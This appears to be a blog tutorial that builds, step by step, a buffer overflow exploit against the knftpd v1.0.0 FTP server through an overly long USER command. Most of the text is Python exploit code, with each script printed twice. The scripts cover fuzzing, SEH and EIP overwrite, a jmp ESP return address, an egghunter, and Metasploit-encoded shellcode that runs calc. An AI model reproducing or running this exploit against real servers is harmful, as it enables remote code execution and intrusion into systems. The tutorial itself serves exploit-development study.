knftpd v1.0.0 |
Now we will try to do how to build an exploit with following the applications flow. We will use knftpd-v1.0.0 application. Hem, it's a sounds good to be practice materials in this case. I know if it already exploited in last year and the exploit can be found here, but here i'm trying to explain how to build an exploit at that application.
The application have overflow if we sending an overly long request to Multiple FTP command, so we can create fuzzer like below to have crash in that application :
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip = '192.168.56.101'
port = 21
junk = "\x41"*2000
payload = (junk)
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+payload+'\r\n')
s.close()
print("Finish")
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip = '192.168.56.101'
port = 21
junk = "\x41"*2000
payload = (junk)
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+payload+'\r\n')
s.close()
print("Finish")
Ok, the SEHandler have overwrite, to know on how many byte of our buffer which needed in order to overwrite the SEHandler of that application, we need to generate a pattern and insert it into our fuzzer's buffer. To generate the pattern, we can use metasploit tools, or mona plugin in Immunity Debugger. And then we insert the pattern to our fuzzer's buffer, after we insert the pattern, the fuzzer become :
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip = '192.168.56.101'
port = 21
junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab....." #generate 2000 pattern
payload = (junk)
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+payload+'\r\n')
s.close()
print("Finish")
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip = '192.168.56.101'
port = 21
junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab....." #generate 2000 pattern
payload = (junk)
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+payload+'\r\n')
s.close()
print("Finish")
From the pattern_offset we are knowing if the SEHandler was overwrite after 324 byte.
So we will send 322 byte junk, after that we insert jmpshort instruction to the nseh, then insert an offset of the POP,POP,RETN instruction to bypass the SEH protection and then insert junk again as a residual in order to our buffer have values 2000 byte.
Now we search an offset of the POP,POP,RETN instruction, here i'm using mona
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip = '192.168.56.101'
port = 21
junk = "\x41"*322
nseh = "\xcc\xcc\xcc\xcc"
seh = "\x23\x37\x40\x00"
payload = (junk+nseh+seh)
residual= "\x42"*(2000-len(payload))
buffer = (payload+residual)
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+buffer+'\r\n')
s.close()
print("Finish")
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip = '192.168.56.101'
port = 21
junk = "\x41"*322
nseh = "\xcc\xcc\xcc\xcc"
seh = "\x23\x37\x40\x00"
payload = (junk+nseh+seh)
residual= "\x42"*(2000-len(payload))
buffer = (payload+residual)
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+buffer+'\r\n')
s.close()
print("Finish")
However if we follow the flow of that application, we will find if EIP register was overwrite like below
EIP register was overwrite with value 41414141, it look like some value of 322 byte first of our buffer. Hem, may be we can generate the pattern again to find how many byte which needed in order to overwrite the EIP register.
and then our fuzzer look like blow :
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip = '192.168.56.101'
port = 21junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2....." #generate 324 pattern
seh = "\x23\x37\x40\x00"
payload = (junk+seh)
residual= "\x42"*(2000-len(payload))
buffer = (payload+residual)
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+buffer+'\r\n')
s.close()
print("Finish")
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip = '192.168.56.101'
port = 21junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2....." #generate 324 pattern
seh = "\x23\x37\x40\x00"
payload = (junk+seh)
residual= "\x42"*(2000-len(payload))
buffer = (payload+residual)
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+buffer+'\r\n')
s.close()
print("Finish")
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip = '192.168.56.101'
port = 21
junk = "\x41"*284
eip = "\xef\xbe\xad\xde"
nop = "\x90"*(324-len(junk+eip))
seh = "\x23\x37\x40\x00"
payload = (junk+eip+nop+seh)
residual= "\x42"*(2000-len(payload))
buffer = (payload+residual)
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+buffer+'\r\n')
s.close()
print("Finish")
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip = '192.168.56.101'
port = 21
junk = "\x41"*284
eip = "\xef\xbe\xad\xde"
nop = "\x90"*(324-len(junk+eip))
seh = "\x23\x37\x40\x00"
payload = (junk+eip+nop+seh)
residual= "\x42"*(2000-len(payload))
buffer = (payload+residual)
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+buffer+'\r\n')
s.close()
print("Finish")
DEADBEEF in EIP register, what if we insert an offset of jmp ESP instruction to EIP register? I don't know, but just try it. Here i'm using an offset of jmp ESP instruction from dll which loaded of that application (i'm chose kernel32.dll).
and the fuzzer like as below :
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip = '192.168.56.101'
port = 21
junk = "\x41"*284
eip = "\x7b\x46\x86\x7c"
breakpoint = "\xcc"*(324-len(junk+eip))
seh = "\x23\x37\x40\x00"
payload = (junk+eip+breakpoint+seh)
residual= "\x42"*(2000-len(payload))
buffer = (payload+residual)
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+buffer+'\r\n')
s.close()
print("Finish")
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip = '192.168.56.101'
port = 21
junk = "\x41"*284
eip = "\x7b\x46\x86\x7c"
breakpoint = "\xcc"*(324-len(junk+eip))
seh = "\x23\x37\x40\x00"
payload = (junk+eip+breakpoint+seh)
residual= "\x42"*(2000-len(payload))
buffer = (payload+residual)
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+buffer+'\r\n')
s.close()
print("Finish")
the stack just have 34 byte space, may be it's not so enough if we want to landing the most wanted shellcode, but its so enough to the staged shellcode egghunter (let's say YEAH...!!!)
Ok, we will insert an egghunter at the stack, because the space of this application so low, then we will insert our shellcode in first 324 byte of our buffer.
so the fuzzer become :
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip = '192.168.56.101'
port = 21
code = "w00tw00t"
code += "\x90"*4
# win32_exec - EXITFUNC=process CMD=calc Size=161 Encoder=ShikataGaNai http://metasploit.com
code += ("\xbf\x91\x08\xd4\x1a\x31\xc9\xdd\xc4\xd9\x74\x24\xf4\x5a\xb1\x23"
"\x31\x7a\x10\x03\x7a\x10\x83\x53\x0c\x36\xef\xaf\xe5\xf2\x10\x4f"
"\xf6\x71\x55\x73\x7d\xf9\x53\xf3\x80\xed\xd7\x4c\x9b\x7a\xb8\x72"
"\x9a\x97\x0e\xf9\xa8\xec\x90\x13\xe1\x32\x0b\x47\x86\x73\x58\x90"
"\x46\xb9\xac\x9f\x8a\xd5\x5b\xa4\x5e\x0e\xa0\xaf\xbb\xc5\xf7\x6b"
"\x45\x31\x61\xf8\x49\x8e\xe5\xa1\x4d\x11\x11\xd6\x72\x9a\xe4\x03"
"\x03\xc0\xc2\xd7\xd7\xc8\xca\xb3\x5c\x6a\xfb\xbe\xa3\x13\xf7\x4b"
"\x63\xe8\x8c\x3b\x78\x5d\x19\xd3\x88\x76\x17\xa8\x09\x38\x28\xae"
"\x09\xb2\x41\x92\x56\xf5\x67\x8a\x3e\x7c\x7f\xc9\x7f\x05\xd0\xa5"
"\x01\x22\x32\x46\x96\x4a\x4d\x22\x68\x3c\x4d\xd5\x16\xa3\xdd\x7a"
"\xd9")
code += "\x90"*(284-len(code))
eip = "\x7B\x46\x86\x7C"
stack = "\x90"*6
#egghunter 32 byte
stack+= ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
nop = "\x90"*(324-len(code+eip+stack))
seh = "\x23\x37\x40\x00"
residual= "\x90"*(2000-len(code+eip+stack+nop+seh))
payload = (code+eip+stack+nop+seh+residual)
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+payload+'\r\n')
s.close()
print("Finish")
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ip = '192.168.56.101'
port = 21
code = "w00tw00t"
code += "\x90"*4
# win32_exec - EXITFUNC=process CMD=calc Size=161 Encoder=ShikataGaNai http://metasploit.com
code += ("\xbf\x91\x08\xd4\x1a\x31\xc9\xdd\xc4\xd9\x74\x24\xf4\x5a\xb1\x23"
"\x31\x7a\x10\x03\x7a\x10\x83\x53\x0c\x36\xef\xaf\xe5\xf2\x10\x4f"
"\xf6\x71\x55\x73\x7d\xf9\x53\xf3\x80\xed\xd7\x4c\x9b\x7a\xb8\x72"
"\x9a\x97\x0e\xf9\xa8\xec\x90\x13\xe1\x32\x0b\x47\x86\x73\x58\x90"
"\x46\xb9\xac\x9f\x8a\xd5\x5b\xa4\x5e\x0e\xa0\xaf\xbb\xc5\xf7\x6b"
"\x45\x31\x61\xf8\x49\x8e\xe5\xa1\x4d\x11\x11\xd6\x72\x9a\xe4\x03"
"\x03\xc0\xc2\xd7\xd7\xc8\xca\xb3\x5c\x6a\xfb\xbe\xa3\x13\xf7\x4b"
"\x63\xe8\x8c\x3b\x78\x5d\x19\xd3\x88\x76\x17\xa8\x09\x38\x28\xae"
"\x09\xb2\x41\x92\x56\xf5\x67\x8a\x3e\x7c\x7f\xc9\x7f\x05\xd0\xa5"
"\x01\x22\x32\x46\x96\x4a\x4d\x22\x68\x3c\x4d\xd5\x16\xa3\xdd\x7a"
"\xd9")
code += "\x90"*(284-len(code))
eip = "\x7B\x46\x86\x7C"
stack = "\x90"*6
#egghunter 32 byte
stack+= ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
nop = "\x90"*(324-len(code+eip+stack))
seh = "\x23\x37\x40\x00"
residual= "\x90"*(2000-len(code+eip+stack+nop+seh))
payload = (code+eip+stack+nop+seh+residual)
s.connect((ip,port))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+payload+'\r\n')
s.close()
print("Finish")
0 comments:
Post a Comment